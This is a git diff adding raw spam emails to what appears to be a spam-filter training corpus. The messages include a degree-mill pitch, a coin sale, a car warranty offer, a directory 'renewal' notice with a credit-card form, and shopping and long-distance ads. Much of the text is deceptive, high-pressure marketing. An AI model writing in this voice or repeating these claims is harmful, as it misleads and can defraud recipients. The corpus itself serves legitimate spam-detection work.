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    + + + + + + + + diff --git a/bayes/spamham/spam_2/01376.73e738e4cd8121ce3dfb42d190b193c9 b/bayes/spamham/spam_2/01376.73e738e4cd8121ce3dfb42d190b193c9 new file mode 100644 index 0000000..32d5c6c --- /dev/null +++ b/bayes/spamham/spam_2/01376.73e738e4cd8121ce3dfb42d190b193c9 @@ -0,0 +1,75 @@ +From ilug-admin@linux.ie Thu Nov 28 11:45:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 7DE6D16F17 + for ; Thu, 28 Nov 2002 11:45:31 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 28 Nov 2002 11:45:31 +0000 (GMT) +Received: from lugh.tuatha.org (postfix@lugh.tuatha.org [194.125.145.45]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gAS7T9W26721 for + ; Thu, 28 Nov 2002 07:29:09 GMT +Received: from lugh.tuatha.org (localhost [127.0.0.1]) by lugh.tuatha.org + (Postfix) with ESMTP id 437C934153; Thu, 28 Nov 2002 07:30:36 +0000 (GMT) +Delivered-To: linux.ie-ilug@localhost +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (Postfix) with ESMTP id D7B65340A2 for ; + Thu, 28 Nov 2002 07:29:10 +0000 (GMT) +Received: by holly.csn.ul.ie (Postfix, from userid 2032) id 907C83F4D5; + Thu, 28 Nov 2002 07:30:52 +0000 (GMT) +Delivered-To: ilug@skynet.csn.ul.ie +Received: from uhyt (152stb52.codetel.net.do [66.98.2.152]) by + holly.csn.ul.ie (Postfix) with SMTP id 126033F4C2 for + ; Thu, 28 Nov 2002 07:30:47 +0000 (GMT) +From: Paula Gaiger +To: +Content-Type: text/plain +Message-Id: +Subject: [ILUG] Prevent Work Monotony ilug +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Beenthere: ilug@linux.ie +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Irish Linux Users' Group +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 27 Nov 2002 23:30:17 -0500 +Date: Wed, 27 Nov 2002 23:30:17 -0500 +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from base64 to 8bit by dogma.slashnull.org id + gAS7T9W26721 + +YOUR DEGREE MAY BE CLOSER THAN YOU THINK +We remove the obstacles that cause adults to abandon hope. +DID YOU KNOW that you could earn your legitimate Associate's, Bachelor's, Master's or even Doctorate degree, utilizing your already existing professional or academic expertise? + +Prepare for the professional advancement you deserve +If you are an adult with a high school diploma and have a minimum of three years of experience in the field you are seeking a degree in, YOU QUALIFY. + +As you know, employers continually hire, promote and give raises to new employees that have ZERO skills or experience, just because they have that piece of paper. +Take part in the wealth now! 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As you know, Indians played = +an important role in helping the pioneers find food and water. No small = +wonder they were honored on our nation's cents from 1859 to 1909 and = +gold coins from 1854 to 1933. As a way of giving thanks to our = +customers, we just bought in a rare batch of 900 VF and XF Indian Cents = +and are offering these on special for this week. Nice mixture of dates = +from the 1880s to 1909. Our regular wholesale price for solid VF coins = +is $1.95 and $6.00 for solid XF. +For this week only, we are offering 10 different dates, VF or better, = +for only $15 or 10 Different dates, solid XF or better, for only $45. = +Dealers/Investors - Buy a nice roll of 50, with at least 10 different = +dates in each roll. VF roll of 50, only $69. XF roll of 50, only $195. = + Limit: 5 rolls of each per customer at these low wholesale prices. =20 +We also have some really nice Choice BU (MS 63 or better) $21/2 Indian = +Gold coins from 1908-1929 for only $395 each (our choice of date, but we = +will pick out the best quality) 3 different for only $950 or 10 = +different for $2,950. Limit: 10 per customer. =20 +Please add $6 to help with postage and insurance on all orders. =20 + +Thank you again, +Cristina +www.collectorsinternet.com +P.S. One of our most popular items this month has been our wholesale=20 +bargain boxes, found half way down our homepage or at=20 +http://collectorsinternet.com/wholesalebargainbox.htm. We are getting = +many=20 +repeat orders from other dealers. You can save time and postage by = +adding=20 +this item, or any other items we have on sale to your other purchases, = +as=20 +there is only a $6 postage and handling fee per order, regardless of = +size.=20 + + + + + + + + +------=_NextPart_000_0070_01C29634.08C7C1D0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +
    +
    +
    We want to thank you for your past = +business and=20 +wish you and yours a very Happy Thanksgiving Holiday this year.  As = +you=20 +know, Indians played an important role in helping the pioneers find food = +and=20 +water.  No small wonder they were honored on our nation's cents = +from 1859=20 +to 1909 and gold coins from 1854 to 1933.   As a way of = +giving=20 +thanks to our customers, we just bought in a rare batch of 900 VF = +and XF=20 +Indian Cents and are offering these on special for this week.  Nice = +mixture=20 +of dates from the 1880s to 1909.   Our regular wholesale price = +for=20 +solid VF coins is $1.95 and $6.00 for solid XF.
    +
    For this week only, we are offering 10 = +different=20 +dates, VF or better, for only $15 or 10 Different dates, solid XF = +or=20 +better, for only $45.  Dealers/Investors - Buy a nice roll of 50, with at least 10 = +different=20 +dates in each roll.  VF roll of 50, only $69.  XF roll of 50, = +only=20 +$195.  Limit: 5 rolls of each per customer at these low = +wholesale=20 +prices.    
    +
    We also have some really = +nice Choice BU (MS 63=20 +or better)  $21/2 Indian Gold coins from 1908-1929 for only = +$395 each=20 +(our choice of date, but we will pick out the best quality) 3 different = +for only=20 +$950 or 10 different for $2,950.  Limit: 10 per = +customer. =20 +
    +
    Please add $6 to help with postage and = +insurance on=20 +all orders. 
    +
     
    +
    Thank you again,
    +
    Cristina
    +
    +
    www.collectorsinternet.com= +
    +
    P.S. One of our most popular items this = +month has=20 +been our wholesale
    bargain boxes, found half way down our homepage = +or at=20 +
    http://collectorsinternet.com/wholesalebargainbox.htm    = +.  We are getting many
    repeat = +orders from other=20 +dealers.  You can save time and postage by adding
    this item, or = +any=20 +other items we have on sale to your other purchases, as
    there is = +only a $6=20 +postage and handling fee per order, regardless of size.    =20 +
    +
     
    +
     
    +
     
    +
     
    +
     
    +
     
    + +------=_NextPart_000_0070_01C29634.08C7C1D0-- + + diff --git a/bayes/spamham/spam_2/01378.73df5252cb71f89c885ad49b6ae5fa82 b/bayes/spamham/spam_2/01378.73df5252cb71f89c885ad49b6ae5fa82 new file mode 100644 index 0000000..0e6c324 --- /dev/null +++ b/bayes/spamham/spam_2/01378.73df5252cb71f89c885ad49b6ae5fa82 @@ -0,0 +1,86 @@ +From cristopherwotton@netscape.net Thu Nov 28 16:05:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id B820F16F16 + for ; Thu, 28 Nov 2002 16:05:51 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 28 Nov 2002 16:05:51 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gASDEaW08619 for + ; Thu, 28 Nov 2002 13:14:37 GMT +Received: from imo-m02.mx.aol.com (imo-m02.mx.aol.com [64.12.136.5]) by + webnote.net (8.9.3/8.9.3) with ESMTP id NAA17150 for ; + Thu, 28 Nov 2002 13:16:07 GMT +From: cristopherwotton@netscape.net +Received: from cristopherwotton@netscape.net by imo-m02.mx.aol.com + (mail_out_v34.13.) id g.c2.51b8436 (16216) for ; + Thu, 28 Nov 2002 08:15:11 -0500 (EST) +Received: from netscape.net (mow-m20.webmail.aol.com [64.12.180.136]) by + air-in01.mx.aol.com (v90.10) with ESMTP id MAILININ14-1128081510; + Thu, 28 Nov 2002 08:15:10 -0500 +Date: Thu, 28 Nov 2002 08:16:22 -0500 +To: pmco811@aol.com +Subject: Auto Protection +MIME-Version: 1.0 +Message-Id: <4543B105.4340470B.7469F272@netscape.net> +X-Mailer: Atlas Mailer 2.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit + +Protect Yourself. + +Purchase An Extended Warranty For Your Car Before +Your Existing Warranty Expires And Save Hundreds. + +Even if your warranty has expired, you will save +40-60 percent over the warranties offered by +dealerships and it's the SAME warranty. + +All quotes are 100 percent free. + +All quotes are obligation free. + +Dear Friend, + +Car troubles always seem to happen at the worst +possible time. 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Valentine +EWFC, Inc.mrcztbxlwuukwxoqgwyaszncexlqcdpeljuytjzytmeuaivyfpvcranyqyygjyaiajphjoimfahyolykergzuvbpadgopxivbdvonbalwnjrmpfhtxumhztfv + +__________________________________________________________________ +The NEW Netscape 7.0 browser is now available. Upgrade now! http://channels.netscape.com/ns/browsers/download.jsp + +Get your own FREE, personal Netscape Mail account today at http://webmail.netscape.com/ + + diff --git a/bayes/spamham/spam_2/01379.0d39498608cd170bbbc8cd33ffd18e35 b/bayes/spamham/spam_2/01379.0d39498608cd170bbbc8cd33ffd18e35 new file mode 100644 index 0000000..a505da9 --- /dev/null +++ b/bayes/spamham/spam_2/01379.0d39498608cd170bbbc8cd33ffd18e35 @@ -0,0 +1,585 @@ +From postmaster@topsitez.us Fri Nov 29 11:17:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 1BF5C16F16 + for ; Fri, 29 Nov 2002 11:16:16 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 29 Nov 2002 11:16:16 +0000 (GMT) +Received: from [192.168.1.2] (w008.z064002062.sjc-ca.dsl.cnc.net + [64.2.62.8]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + gAT07XW04583; Fri, 29 Nov 2002 00:07:35 GMT +Message-Id: <200211290007.gAT07XW04583@dogma.slashnull.org> +Received: from topsites (localhost.concentric.net) by [192.168.1.2] (LSMTP + for Windows NT v1.1b) with SMTP id <0.000FA544@[192.168.1.2]>; + Thu, 28 Nov 2002 8:56:21 -0800 +Date: Thu, 28 Nov 2002 08:56:07 -0700 +From: "Paul Thomas" +Subject: Sitescooper: scoop websites onto your PalmPilot - Sitescooper + automatically retrieves the stories from several news websites, trims off + extraneous HTML, and converts them into iSilo or Palm DOC format for later + reading on-the-move. It maintains a cache, and will avoid stories you've + already read. It can handle 1-page sites, 1-page with diffing, 2- and + 3-level sites as well as My-Netscape-style RSS sites. It's also very + easy to add a new site to its list. Even if you don't have a PalmPilot, + it's still handy for simple website-to-text conversion. Site files are + included for many popular news sites including Slashdot, LWN, Freshmeat + and Linux Today. http://jmason.org/software/sitescooper/ +To: +Reply-To: +Organization: topsitez.us MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_000_000B_01C238C5.A7241DF0" +X-Priority: 1 (Highest) +X-Msmail-Priority: High +Importance: High +Precedence: bulk + +This is a multi-part message in MIME format. + +------=_NextPart_000_000B_01C238C5.A7241DF0 +Content-Type: text/plain; + charset="us-ascii" +Content-Transfer-Encoding: 8bit + +Could you please be so kind as to renew your TopSites-us directory listing by Thursday, December 5 so we can continue to show it to our millions of users? For information on renewing please go to: +http://topsitez.us/renew-tab.htm?id=713164&d=jmason.org + +If you cannot access our site, just let me know you want to renew by email. Your listing only cost $5 a month. + +If you have a questions, please go to: +http://topsitez.us/faq/index.htm?id=713164&d=jmason.org&op=cat&c=1 + +If you cannot find your answer there, please let me know. I will be happy to help in any way I can. If you do not want to renew, there is no need to write; we will cancel your listing automatically. + +Kind Regards, + +Paul Thomas + +To remove your address from our mailing list you can go to: +http://topsitez.us/cancel.htm?id=713164&d=jmason.org + +YOUR LISTING +Sitescooper: scoop websites onto your PalmPilot +Sitescooper automatically retrieves the stories from several news websites, trims off extraneous HTML, and converts them into iSilo or Palm DOC format for later reading on-the-move. It maintains a cache, and will avoid stories you've already read. It can handle 1-page sites, 1-page with diffing, 2- and 3-level sites as well as My-Netscape-style RSS sites. It's also very easy to add a new site to its list. Even if you don't have a PalmPilot, it's still handy for simple website-to-text conversion. Site files are included for many popular news sites including Slashdot, LWN, Freshmeat and Linux Today. +http://jmason.org/software/sitescooper/ +Your category: http://topsitez.us/category-tab.htm?id=713164&d=spamassassin.taint.org + +REACH A MILLION +Here is what you get: +1. We will continue to list your site in the TopSites directories. +2. We will show your listing more than a million times a year (guaranteed). + +Let us introduce you (a million times!) +People often ask, "How can you guarantee to show my listing a million times? What if I am in an unpopular category?" It does not matter! Why? AutoSearch--our patent pending tool--continually displays renewed TopSites-us listings on our users’ PCs 24 hours a day, seven days a week. We display TopSites-us listings more than 42 million times in an hour. That is why we can guarantee to show your listing more than a million times a year. + +Save $40,000 in adverting +It would cost you up to $40,000 to display your listing a million times at sites like MSN and Altavista. Googles charges up to $200,000 depending on your category. At TopSites we charge $5 a month! + +Save $100 re-listing fee +Please do not let your listing expire. Our editors listed you as one of the top websites in your category without charge. If your listing expires, however, you may need to pay a $100 editorial review fee to get listed again. It can take a month for our editors to authorize a listing. And they may not re-list you if there are too many listings in your category. + +Only TopSites-us gives you: +* Massive Reach: We display our listings billions of times a year. We guarantee to show your listing more than a million times a year. +* Cost-Effectiveness: This is the least expensive advertising you will ever buy. You want to bring lots of potential customers to your site in a cost-effective way. TopSites-us does exactly that! +* Highly Targeted Leads: TopSites-us reaches customers when they are searching for what you are selling. That means high sales and low costs. More visitors become customers! +* Highest Return on Investment: Independent research confirms that you get the highest ROI from online listings like TopSites-us. E-mail, banners and other forms of online advertising all have a lower ROI. And unlike direct mail, you pay nothing for mailing lists, printing or postage. No media buy returns better results than TopSites-us. +* No-Risk: Cancel your listing any time for any reason--no questions asked! +* Hassle-Free: Change your listing anytime or even move it to a different category--for free--and your changes will instantly appear in the directory +  +"TopSites-us is the least expensive way I have found to bring buyers to my site. I have tried other online advertising companies and you beat everyone!" +--P.A., President, Go Software (g-o.us) + +"TopSites-us makes my online marketing easy. I can change my message 24 hours a day so it is always up-to-date. And everyone who sees it is a pre-qualified prospect." +--N.B., CEO, My News (my-news.org) +  +FREQUENTLY ASKED QUESTIONS +  +Can I change my listing? +You can change your listing now or later. You can rewrite the headline and description before renewing. You can change the URL too—even to another website. +Once we receive payment, we will send you instructions on how to change your listing whenever you like. (There’s no charge to do this.) + +Can I change my category? +Can I list my site in additional categories? +Can I list other sites too? +You can list as many sites in as many categories as you like. Each listing costs only $5 per month per category. Just go to www.topsitez.us. Click on the category links until you find the one you want (or search on your keywords). Click on the Add My Site link. Then type your listing. If your old listing was in the wrong category, you can click unsubscribe to cancel it. + +How much does a listing cost? +Can I renew for free? +It costs $5 a month to list your site in TopSites. We no longer offer any free listings. We will bill you $60 for 12 months. There are no additional costs. You can change your listing as often as you like for free. You can cancel your listing anytime and we will refund your remaining money. + +How do I pay? +You can pay with a U.S. check, money order or bank draft. Or you can pay by Visa, MasterCard or American Express. Simply select the option you prefer on the renewal form. (Unfortunately, we cannot cash overseas checks at this time.) + +Who listed us? +When did our listing start? +We do not know. Sorry. We only began to track listing contacts and dates this year. + +How much did we pay to be listed? +Originally you couldn’t buy a listing--you had to wait for our editors to select you as one of the top sites in your category. + +Do we have a contract with you? +We don’t ask our customers to sign contracts for a $5 a month service. + +Can you call me and tell me more? +We are happy to answer all your questions by email but we don’t contact our customer by phone at this time. Sorry. + +Can I still renew after your deadline? +We give our customers a month to renew so don’t worry too much about the deadline. + +How do I see my listing? I couldn’t find it when I searched. +You can go to www.topsitez.us and click on the categories until you get to /Top/Computers/Software/Operating_Systems/Linux/Projects/Internet. +You can also see it at www.topsitez.us by entering two or more keywords from your listing into our search form. Since we have more than three million listings, you probably won’t find your listing by searching on only one word. And you definitely won’t find it if you search on words that are not in your listing. + +What keywords display my listing? +How do I change them? +Every word in your listing is a keyword. Anytime someone searches on two or more words in your listing, we will display it. The only way to change your keywords is to change the headline or description of your listing. + +How much traffic did you send us last year? +We don’t know. Sorry. We are working on adding this feature. + +..for more answers go to: +http://topsitez.us/faq/index.htm?id=713164&d=jmason.org&op=cat&c=1 + +------=_NextPart_000_000B_01C238C5.A7241DF0 +Content-Type: text/html; + charset="us-ascii" +Content-Transfer-Encoding: 8bit + + +Renew +TOPSITES LLC
    +1300 Evans Avenue, San Francisco, CA 94120-7334 USA - Phone 415-294-5300 + +

    Could you please be so kind as to click on the Renew button to renew your + listing in the TopSites-us + directory listing by Thursday, December 5, if you do not mind? You can also renew your listing + on our website by clicking + renew. If you cannot access the Internet, let me know and I will renew + your listing for you. Your listing only cost US $5 (other currencies) per month per category.

    + +

    If you have any questions, please click FAQs. + If you cannot find your answer there, please let me know. I will be happy + to help in any way I can.

    + +

    Kind Regards,
    +
    + Paul Thomas

    +

    To remove your address from our mailing list or to cancel your + listing simply click unsubscribe.

    +
    + + + + + + + + + + + + + + +
     
    		 + RENEW YOUR LISTING 
    +
     
    		 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    Category:
    		 + List our site in the following categories:
    /Top/Computers/Software/Operating_Systems/Linux/Projects/Internet
    /Top/Computers/Software/Operating_Systems/Linux/Projects/Internet/Web
    /Top/Computers/Software/Operating_Systems/Linux/Projects/Internet/Email
    +
    + Headline:
    		 + + +
      +
    • Cost: Your + listing costs US $5 (other currencies) per month per category (billed annually).
      • +
    • Refunds: Cancel anytime. We will refund the remaining + months.
      • +
    • Changes: You can change your headline, description + (up to 40 words) or URL.
      • +
    • Category: Select the categories you want by clicking + the checkboxes. If you want us to list you in a categories + that is not on the list, go to www.topsitez.us. + Click on the category links until you find the one you want. + Click on the Add My Site link. Type your listing.
      • +
    • Cancel: To cancel your listing click unsubscribe.
      • +
    • To pay by check: We will + email an invoice to you. You can pay with a local check from any country.
      • +
    • To pay by credit card. Click the credit card option + and enter your number. We accept Visa, MasterCard and American + Express.
      • +
    • Problems?: Try renewing on our website by clicking + + renew. Or just let us know by email that you want to renew. +
      • +
    +
    + Description:
    		 + +
    +
    URL:
    		 + +
    +
    Your + name:
    		 + +
    +
    Your + email:
    		 + + +
    +
    + Pay + by:
    		 + + + Check (invoice me)
    + Credit card + + + + + + + + + + + + + + + +
    Card + number: + +
     Expiry + date: + + +
     Zip/postal + code: + +
      + + + + + + + + +
    +     		 
    + + + + + + + + + + + + + + + + + +
     
    		 + REACH A MILLION 
    +
     
    		 + Here is what you get: +
      +
    1. We will continue to list your site in the TopSites directory.
      2. +
    2. We will show your listing more than a million times a year (guaranteed).
      3. +
    + + + +

    + + + +Let us introduce you (a million times)

    +People often ask, "How can you guarantee to show my listing a million times? +What if I am in an unpopular category?" It does not matter! Why? + + + AutoSearch--our patent pending tool--continually displays + + + renewed TopSites-us +listings on +our users’ PCs 24 hours a day, seven days a week. We display TopSites-us listings +more than 42 million + times in an hour. That is why we can guarantee to show your listing more than a million + times a year.

    + + + +

    Save $40,000 in adverting
    +
    + It would cost you up to $40,000 to display your listing a million times + at sites like MSN and Altavista. Googles charges up to $200,000 depending + on your category. At TopSites we charge $5 a month!
    +
    + Save $100 re-listing fee
    +
    + Please do not let your listing expire. Our editors listed you as one + of the top websites in your category without charge. If your listing + expires, however, you may need to pay a $100 editorial review fee to + get listed again. It can take a month for our editors to authorize a + listing. And they may not re-list you if there are too many listings + in your category.

    + + + +

    Only TopSites-us + gives you:

    +
      +
    • Massive Reach: We display our listings billions of times a year. + We guarantee to show your listing more than a million times a year.
      • +
    • Cost-Effectiveness: This is the least expensive advertising + + you will ever buy. You want to bring lots of potential customers + to your site in a cost-effective way. TopSites-us does exactly that!
      • +
    • Highly Targeted Leads: TopSites-us reaches customers when they are + searching for what you are selling. That means high sales and low costs. More + visitors become customers!
      • +
    • Highest Return on Investment: Independent research confirms + that you get the highest ROI from online listings like TopSites-us. E-mail, + banners and other forms of online advertising all have a lower ROI. And unlike + direct mail, you pay nothing for mailing lists, printing or postage. No media + buy returns better results than TopSites-us.
      • +
    • No-Risk: Cancel your listing any time for any reason--no questions + asked!
      • +
    • Hassle-Free: Change your listing anytime or even move it + to a different category--for free--and your changes will instantly appear + in the directory
      • +
    + +     		 
    + +
    + + + + + + +
     
    		 + "TopSites-us is the least expensive way I have found to + bring buyers to my site. I have tried other online advertising companies and + you beat everyone!"
    --P.A., President, Go + Software (g-o.us) +

    "TopSites-us makes my online marketing easy. + I can change my message 24 hours a day so it is always up-to-date. And + everyone who sees it is a pre-qualified prospect."
    + --N.B., CEO, My News (my-news.org)

    		 

    + + + + + + + + + + + + + + + + +
     
    		 + FREQUENTLY ASKED QUESTIONS 
    +
     
      +
    • Can I change my listing?
      + You can change your listing now or later. You can rewrite the headline + and description before renewing. You can change the URL too—even to + another website.
      + Once we receive payment, we will send you instructions on how to change + your listing whenever you like. (There’s no charge to do this.)
      +
      +
      • +
    • Can I change my category?
      + Can I list my site in additional categories?
      + Can I list other sites too?
      + You can list as many sites in as many categories as you like. Each + listing costs only $5 per month per category. Just go to www.topsitez.us. + Click on the category links until you find the one you want (or search + on your keywords). Click on the Add My Site link. Then type your listing. + If your old listing was in the wrong category, you can click unsubscribe + to cancel it.
      +
      +
      • +
    • How much does a listing cost?
      + Can I renew for free?
      + It costs $5 a month to list your site in TopSites. We no longer offer + any free listings. We will bill you $60 for 12 months. There are no + additional costs. You can change your listing as often as you like + for free. You can cancel your listing anytime and we will refund your + remaining money.
      +
      +
      • +
    • How do I pay?
      + You can pay with a check from any country. (Simply convert the amount + to your local currency.) Or you can pay by Visa, MasterCard or American + Express. Simply select the option you prefer on the renewal form.
      +
      +
      • +
    • Who listed us?
      + When did our listing start?
      + We do not know. Sorry. We only began to store listing contacts and + dates this year.
      +
      +
      • +
    • How much did we pay to get listed?
      + Originally you couldn’t buy a listing—you had to wait for our editors + to select you as one of the top sites in your category.
      +
      +
      • +
    • Do we have a contract with you?
      +       We don’t do contracts for a $5 service.
      +
      +
      • +
    • Can you call me and tell me more?
      +       We are happy to answer all your questions by email but we don’t + contact our customer by phone at this time. Sorry.
      +
      +
      • +
    • Can I still renew after your deadline?
      +       We give our customers a month to renew so don’t worry too much + about the deadline.
      +
      +
      • +
    • How do I see my listing?
      + I couldn’t find it when I searched.
      + To save you time, I have included your listing at the end of this + email. Or you can see it on our website by clicking your + listing. Or you can go to www.topsitez.us + and click on the categories until you get to /Top/Computers/Software/Operating_Systems/Linux/Projects/Internet.
      + You can also see it at www.topsitez.us + by entering two or more keywords from your listing into our search + form. Since we have more than three million listings, you probably + won’t find your listing by searching on only one word. And you definitely + won’t find it if you search on words that are not in your listing. +
      +
      +
      • +
    • What keywords display my listing?
      + How do I change them?
      + Every word in your listing is a keyword. Anytime someone searches + on two or more words in your listing, we will display it. The only + way to change your keywords is to change the headline or description + of your listing.
      +
      +
      • +
    • How much traffic did you send us last year?
      + We don’t know. Sorry. We are working on adding this feature. +
      • +
    + +

    more...

    		 
    + +
    + + + + + + + + + + + + + + + +
     
    		 + YOUR LISTING 
    +
     
    		 + Internet Directory
    • Sitescooper: scoop websites onto your PalmPilot
      +Sitescooper automatically retrieves the stories from several news websites, trims off extraneous HTML, and converts them into iSilo or Palm DOC format for later reading on-the-move. It maintains a cache, and will avoid stories you've already read. It can handle 1-page sites, 1-page with diffing, 2- and 3-level sites as well as My-Netscape-style RSS sites. It's also very easy to add a new site to its list. Even if you don't have a PalmPilot, it's still handy for simple website-to-text conversion. Site files are included for many popular news sites including Slashdot, LWN, Freshmeat and Linux Today.
      +http://jmason.org/software/sitescooper/
    • Linux // What is sirobot?
      +irobot is a Perl script that downloads Web pages recursively. The main advantage over wget is its ability to get them concurrently. Sirobot is able to continue aborted downloads, convert absolute links to relative ones, and has a pattern-matching filter to prevent you from downloading the whole Internet.
      +http://www.stud.uni-karlsruhe.de/~uno4/linux/whatissirobot.html
    • Linux Dialin Server Setup Guide
      +guide to setting up a Linux ppp/slip dialin server
      +http://www.swcp.com/~jgentry/pers.html
    • pretzelgod's DPSFTP
      +Source for DPSFTP: Yet another Gnome FTP client
      +http://dpsftp.sourceforge.net/
    • ftpq home page
      +ftpq allows the user to spool FTP uploads whilst offline and transfer these jobs automatically on the next connection to the network.
      +http://www.tranchant.freeserve.co.uk/ftpq.html
    • eZ systems as
      +eZ publish is a content management system for e-commerce, e-publishing and intranets
      +http://developer.ez.no
    more...    		 
    + + + + +------=_NextPart_000_000B_01C238C5.A7241DF0-- + + diff --git a/bayes/spamham/spam_2/01380.fa9b4e89ba485def2921e01ae9fb7671 b/bayes/spamham/spam_2/01380.fa9b4e89ba485def2921e01ae9fb7671 new file mode 100644 index 0000000..f925829 --- /dev/null +++ b/bayes/spamham/spam_2/01380.fa9b4e89ba485def2921e01ae9fb7671 @@ -0,0 +1,34 @@ +From valentart@runbox.com Thu Nov 28 11:41:03 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 8799616F16 + for ; Thu, 28 Nov 2002 11:41:02 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Thu, 28 Nov 2002 11:41:02 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gAS1uQW13376 for + ; Thu, 28 Nov 2002 01:56:26 GMT +Received: from Champagne (nc-mrsvll-u1-c3b-71.mrvlnc.adelphia.net + [68.71.66.71]) by webnote.net (8.9.3/8.9.3) with SMTP id BAA14625 for + ; Thu, 28 Nov 2002 01:57:55 GMT +X-Esmtp: 0 0 1 +Message-Id: <102593-220021142816516573@Champagne> +Organization: BBPR +From: "Pat" +To: yyyy@netnoteinc.com +Subject: Below Wholesale Prices on Name Brand Products +Date: Thu, 28 Nov 2002 11:51:06 -0500 +MIME-Version: 1.0 +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by dogma.slashnull.org + id gAS1uQW13376 + +Friend, We have recently been introduced to an amazing shopping experience that has all the products we look for at phenomenal savings, actually below Wholesale!!! In the next few days, we'll be introducing the e-world to this unique savings oriented shopping website. We need to be sure that you are open to reviewing this information. If you are not open, here's what to do... Nothing! You will be automatically unsubscribed if you do not click on the link below. We are cleaning these databases now...in preparation for a major campaign for our new shopping website. Our marketing campaign should only go out to those that are sincerely interested...If you do not wish to be contacted, please accept our thanks and use the unsubscribe link below, now. Our company does not promote or approve of unsolicited email broadcasting (spam)... Therefore; we have designed this system to clean our databases of individuals that wish not to receive announcements of this type, offering savings and the opportunity to buy products at a substantially reduced price. Please remove your email address if you do not wish to receive further communications. It is our hope that you will keep our lines of communication open. The first introduction of this shopper's paradise will be within 48 hours of this message. We hope that you will take the opportunity to review it. No action is required if you do not wish to remain on our communication list. You will be automatically unsubscribed. Again, we appreciate your assistance and hope that you appreciate our efforts to clean the databases and be spam free. Thank you again for your decision to accept our message or to unsubscribe, whichever your choice was. ******************************************************* For those who are still with us, we commit to sending you only valuable information on substantial savings for shopping online. + + +Pat + + diff --git a/bayes/spamham/spam_2/01381.7f1f9f4b8ea24fee6b87dc1172177eaf b/bayes/spamham/spam_2/01381.7f1f9f4b8ea24fee6b87dc1172177eaf new file mode 100644 index 0000000..66f9270 --- /dev/null +++ b/bayes/spamham/spam_2/01381.7f1f9f4b8ea24fee6b87dc1172177eaf @@ -0,0 +1,63 @@ +From OWNER-NOLIST-SGODAILY*JM**NETNOTEINC*-COM@SMTP1.ADMANMAIL.COM Fri Nov 29 11:22:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id F2CD816F18 + for ; Fri, 29 Nov 2002 11:22:45 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 29 Nov 2002 11:22:46 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gAT9F9W27436 for + ; Fri, 29 Nov 2002 09:15:30 GMT +Received: from SMTP1.ADMANMAIL.COM (SMTP1.ADMANMAIL.COM [209.216.124.213] + (may be forged)) by webnote.net (8.9.3/8.9.3) with ESMTP id JAA21501 for + ; Fri, 29 Nov 2002 09:16:31 GMT +Message-Id: <200211290916.JAA21501@webnote.net> +Received: from tiputil1 (tiputil1.corp.tiprelease.com) by + SMTP1.ADMANMAIL.COM (LSMTP for Windows NT v1.1b) with SMTP id + <5.000061CA@SMTP1.ADMANMAIL.COM>; Fri, 29 Nov 2002 2:39:58 -0600 +Date: Fri, 29 Nov 2002 02:00:12 -0600 +From: Lowest Long Distance +To: JM@NETNOTEINC.COM +Subject: Best Long Distance On the Net - 3.9 Cents With No Monthly Fees +X-Info: 134085 +X-Info2: SGO +MIME-Version: 1.0 +Content-Type: text/html; charset="us-ascii" + + + +mailv05a.gif + + + + + + + + + + + + + + +
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    + +You are receiving this mailing because you are a +member of SendGreatOffers.com and subscribed as:JM@NETNOTEINC.COM +To unsubscribe +Click Here +(http://admanmail.com/subscription.asp?em=JM@NETNOTEINC.COM&l=SGO) +or reply to this email with REMOVE in the subject line - you must +also include the body of this message to be unsubscribed. Any correspondence about +the products/services should be directed to +the company in the ad. +%EM%JM@NETNOTEINC.COM%/EM% +
